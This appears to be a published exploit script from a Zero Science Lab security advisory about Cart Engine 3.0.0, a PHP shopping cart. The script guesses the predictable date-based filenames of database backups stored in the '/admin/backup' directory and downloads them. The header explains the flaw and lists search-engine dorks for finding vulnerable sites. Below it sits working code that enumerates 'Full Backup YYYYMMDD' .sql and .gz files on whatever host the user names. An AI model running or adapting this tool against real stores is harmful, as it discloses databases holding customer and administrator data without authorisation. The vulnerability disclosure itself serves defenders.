Cart Engine 3.0.0 - Database Backup Disclosure

<?php

/*

Cart Engine 3.0.0 Database Backup Disclosure Exploit


Vendor: C97net
Product web page: http://www.c97.net
Affected version: 3.0.0

Summary: Open your own online shop today with Cart Engine! The
small, yet powerful and don't forget, FREE shopping cart based
on PHP & MySQL. Unique features of Cart Engine include: CMS engine
based on our qEngine, product options, custom fields, digital
products, search engine friendly URL, user friendly administration
control panel, easy to use custom fields, module expandable, sub
products, unsurpassed flexibility...and more!

Desc: Cart Engine stores database backups using the Backup DB tool
with a predictable file name inside the '/admin/backup' directory
as 'Full Backup YYYYMMDD.sql' or 'Full Backup YYYYMMDD.gz', which
can be exploited to disclose sensitive information by downloading
the file. The '/admin/backup' is also vulnerable to directory listing
by default.


Tested on: Apache/2.4.7 (Win32)
           PHP/5.5.6
           MySQL 5.6.14


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2014-5180
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5180.php


Dork #1: intitle:powered by c97.net
Dork #2: intitle:powered by qEngine
Dork #3: intitle:powered by Kemana.c97.net
Dork #4: intitle:powered by Cart2.c97.net



07.03.2014

*/


error_reporting(0);

function status($done, $total, $size=20)
{
	static $start_time;
 	if($done > $total) return;
 	if(empty($start_time)) $start_time=time();

	$now = time();
 	$perc=(double)($done/$total);
 	$bar=floor($perc*$size);

 	$disp=number_format($perc*100, 0);
 
	$status_bar="\r $disp% [";
	$status_bar.=str_repeat("=", $bar);
	if($bar<$size)
	{
		$status_bar.=">";
		$status_bar.=str_repeat(" ", $size-$bar);
	} else
		{
			$status_bar.="=";
		}
 	
 	$status_bar.="] $done/$total";
 
	$rate = ($now-$start_time)/$done;
	$left = $total - $done;
	$eta = round($rate * $left, 2);
	$elapsed = $now - $start_time;
 
	$status_bar.= " remaining: ".number_format($eta)." sec. elapsed: ".number_format($elapsed)." sec.";
 
	echo "$status_bar ";
	flush();
 
	if($done == $total)
	{
		echo "\n";
	}
}

print "
 @---------------------------------------------------------------@
 |                                                               |
 |      Cart Engine 3.0.0 Database Backup Disclosure Exploit     |
 |                                                               |
 |                                                               |
 |              Copyleft (c) 2014, Zero Science Lab              |
 |                                                               |
 |                   Advisory ID: ZSL-2014-5180                  |
 |                       www.zeroscience.mk                      |
 |                                                               |
 @---------------------------------------------------------------@
	  ";

if ($argc < 4)
{
    print "\n\n [+] Usage: php $argv[0] <host> <port> <dirname>\n\n";
    print " [+] Example: php $argv[0] zeroscience.mk 80 hercules\n\n";
    die();
}

$godina_array = array('2014','2013','2012','2011','2010');

$mesec_array = array('12','11','10','09',
					 '08','07','06','05',
					 '04','03','02','01');

$dn_array = array('31','30','29','28','27','26',
				  '25','24','23','22','21','20',
	  			  '19','18','17','16','15','14',
				  '13','12','11','10','09','08',
	  			  '07','06','05','04','03','02',
	  			  '01');

$host = $argv[1];
$port = intval($argv[2]);
$path = $argv[3];
$dbnm = "Full%20Backup%20";

$alert1 = "\033[1;31m";
$alert2 = "\033[0;37m";
$alert3 = "\033[1;32m";

echo "\n [*] Running checks:\n\n";

foreach($godina_array as $godina)
{
	foreach($mesec_array as $mesec)
	{
		$x++;
		status($x, 58);
		foreach($dn_array as $dn)
		{
			$ext=".gz";
			if(file_get_contents("http://".$host.":".$port."/".$path."/admin/backup/".$dbnm.$godina.$mesec.$dn.$ext))
			{
				echo "\n";
				echo $alert1;
				print "\n\n\n !!! DATABASE BACKUP FILE FOUND !!!\n\n";
				echo $alert2;
				print " Filename: 'Full Backup ".$godina.$mesec.$dn.$ext."'\n";
				print " Full URL:\x20";
				echo $alert3;
				die("http://".$host.":".$port."/".$path."/admin/backup/".$dbnm.$godina.$mesec.$dn.$ext."\n\n");
			}
			$ext=".sql";
			if(file_get_contents("http://".$host.":".$port."/".$path."/admin/backup/".$dbnm.$godina.$mesec.$dn.$ext))
			{
				echo "\n";
				echo $alert1;
				print "\n\n\n !!! DATABASE BACKUP FILE FOUND !!!\n\n";
				echo $alert2;
				print " Filename: 'Full Backup ".$godina.$mesec.$dn.$ext."'\n";
				print " Full URL:\x20";
				echo $alert3;
				die("http://".$host.":".$port."/".$path."/admin/backup/".$dbnm.$godina.$mesec.$dn.$ext."\n\n");
			}
		}
	}
}

print "\n\n [*] Zero findings!\n\n\n";

?>